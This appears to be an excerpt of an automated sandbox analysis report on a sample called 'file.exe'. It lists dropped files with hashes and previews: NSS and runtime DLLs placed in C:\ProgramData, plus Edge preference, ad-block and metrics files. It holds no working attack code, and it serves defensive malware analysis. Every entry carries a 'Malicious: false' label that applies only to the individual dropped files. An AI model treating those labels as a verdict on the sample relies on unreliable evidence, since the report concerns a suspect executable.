Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\013d31a8-3146-491c-b992-fca9624f6a3b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46412
Entropy (8bit):	6.086148727637237
Encrypted:	false
SSDEEP:	768:/MkbJrT8IeQc5dKM1di1zNt6snzgdR982aGAEywJY65Dk+bCioRJDSgzMMd6qD45:/Mk1rT8H1K6smRHY65bFoRtSmd6qE7l
MD5:	F5236764042EB6681282376357AF4ED7
SHA1:	175283C1569522DEDCEC9C5B2BBE1FC41A723406
SHA-256:	2C90564A55A9B3FE7DFDF37126E15A97CACAFFC14495D20A7F7C8EE9A8DD925A
SHA-512:	92E1150FF5B0D6E914256FD0E32CBC457217218788E4A907BCECD1352961C818105A388D2467F5253F36CB0BC1B1BF40AB1E24A2C77DD8CD2CB3AC739F704D8C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376808158338505","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"44f96a69-c152-46f0-bc3a-7a40ff628cef"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732334562"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0f1ddbfd-ffdb-4853-9cb9-eb6caea7f46d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46365
Entropy (8bit):	6.086427570794097
Encrypted:	false
SSDEEP:	768:/MkbJrT8IeQc5dKMldi1zNt6snzgdR982aGAEywJY65Dk+bCioRJDSgzMMd6qD45:/Mk1rT8H1KksmRHY65bFoRtSmd6qE7l
MD5:	B71A14CD18C1CE6EE759BF52CABB4BB3
SHA1:	0E9154C7ACED84D24872D91EED3B5645A1801142
SHA-256:	4C033CF797116421FA622CFE61B2B0CD5931746482C13D1982C980DADF1830F8
SHA-512:	42F0EB20816313A6851992CF19AB81862E8A36C78DE71833CEC6A6C0E3EA779B5380EC920ADB261C0AE9A8B4D88A6932B5BBA11E4F62CFA1ECAEA6552566825A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376808158338505","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"44f96a69-c152-46f0-bc3a-7a40ff628cef"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732334562"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\121b8f91-0eef-4a4b-8a09-de2f7df77ed2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46489
Entropy (8bit):	6.08606330898998
Encrypted:	false
SSDEEP:	768:/MkbJrT8IeQc5rKM1di1zNt6snzgdI82aGAEywJY65Dk+bCioRJDSgzMMd6qD47l:/Mk1rT8HDK6sm6Y65bFoRtSmd6qE7l
MD5:	9D57D32E105E5E7D53EAF29AC13C3EAF
SHA1:	01FA2F630EAF92A92DC22F0F7D7C7D4501C0956E
SHA-256:	857C1ED28B2CBE268303DC532A759806A6A1A911021AB32A83E26BB922EAC177
SHA-512:	AF009D3ED809E6528AE77D436BD41E7F8ECDDC2332CEB5A4CCFAB76700CF4A30F4FABEA8F3FD8E6C49E4521821871A34CDB21B7D2C89883597CE59832ECAAD81
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376808158338505","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"44f96a69-c152-46f0-bc3a-7a40ff628cef"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732334562"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\61a338c5-7c46-4464-9d07-8429aee06270.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44898
Entropy (8bit):	6.094862775856892
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW6ei1zNt6snzgdRNEgjUEOEkKJDSgzMMd6qD47u3+7:+/Ps+wsI7ynAsmReKtSmd6qE7lFoC
MD5:	7367F5FF61DF281360D3A7D90E996145
SHA1:	5645A9894EDE28E0888A70DC29ADF47642EF94E6
SHA-256:	BD3C95D4A47547228EEF1ED14E23AF07BABD531B1CFE39DC51421CE2E197CABF
SHA-512:	CC3E0EC9085AACB38F91E97F842355E7ACA7C58717E21FE32CD3C22ED6D1CA942625FDC18B11E66AB9270EE4CC472ED8BCA1FD5AAD6A50DDF90E25FAC24FFDF1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\73999e36-7206-4cab-bc8f-81df2ba5430d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44898
Entropy (8bit):	6.094862775856892
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW6ei1zNt6snzgdRNEgjUEOEkKJDSgzMMd6qD47u3+7:+/Ps+wsI7ynAsmReKtSmd6qE7lFoC
MD5:	7367F5FF61DF281360D3A7D90E996145
SHA1:	5645A9894EDE28E0888A70DC29ADF47642EF94E6
SHA-256:	BD3C95D4A47547228EEF1ED14E23AF07BABD531B1CFE39DC51421CE2E197CABF
SHA-512:	CC3E0EC9085AACB38F91E97F842355E7ACA7C58717E21FE32CD3C22ED6D1CA942625FDC18B11E66AB9270EE4CC472ED8BCA1FD5AAD6A50DDF90E25FAC24FFDF1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7e88fe74-ce84-4ed3-9a70-ba78a85e9d64.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089771499423186
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMLkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynr0kzItSmd6qE7lFoC
MD5:	9807F81A9B19D7C2DB5D96CE520730C6
SHA1:	7A1AF0E7F1EC544069CD737B54D7DBBEB7466136
SHA-256:	110C560F8A49FE130E912AB3805505054EB348D29915343E4C5203E5B4A8F0B5
SHA-512:	611300AAEF147A5D2780359F6B8A63FA4F4D6D0E3C0D22D5044D217ADF8622D950652280B7F0F17B92BB6A5DD712A742A9B3F24AB29665B184729954BA5DB1F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\950429ff-36c2-4d98-a309-f1030b0fe36e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46489
Entropy (8bit):	6.086065878459403
Encrypted:	false
SSDEEP:	768:/MkbJrT8IeQc5r9M1di1zNt6snzgdI82aGAEywJY65Dk+bCioRJDSgzMMd6qD47l:/Mk1rT8HD96sm6Y65bFoRtSmd6qE7l
MD5:	5A654A7E7F93E3879C6D7DF425DC4AC6
SHA1:	0475DC5D280F103FB1EC423EEAB69CE60038A4B0
SHA-256:	3F2D0C7542FBE05AEB1EA17378DBEE6FC27D4A730E42BAE13AD8B52FD796E353
SHA-512:	B3E49FF61501B68FCAFC504848B81C7BF3268A95309A578D334BDEDE0D0C2E6E1E5D63F232AAAEB602F38C70C367FFB4BEC6C29604FBF6458192CF600D25A0E7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376808158338505","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"44f96a69-c152-46f0-bc3a-7a40ff628cef"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732334562"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\19f11395-c786-47fd-85d9-d52167420b56.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674153DD-1E04.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45974897351328364
Encrypted:	false
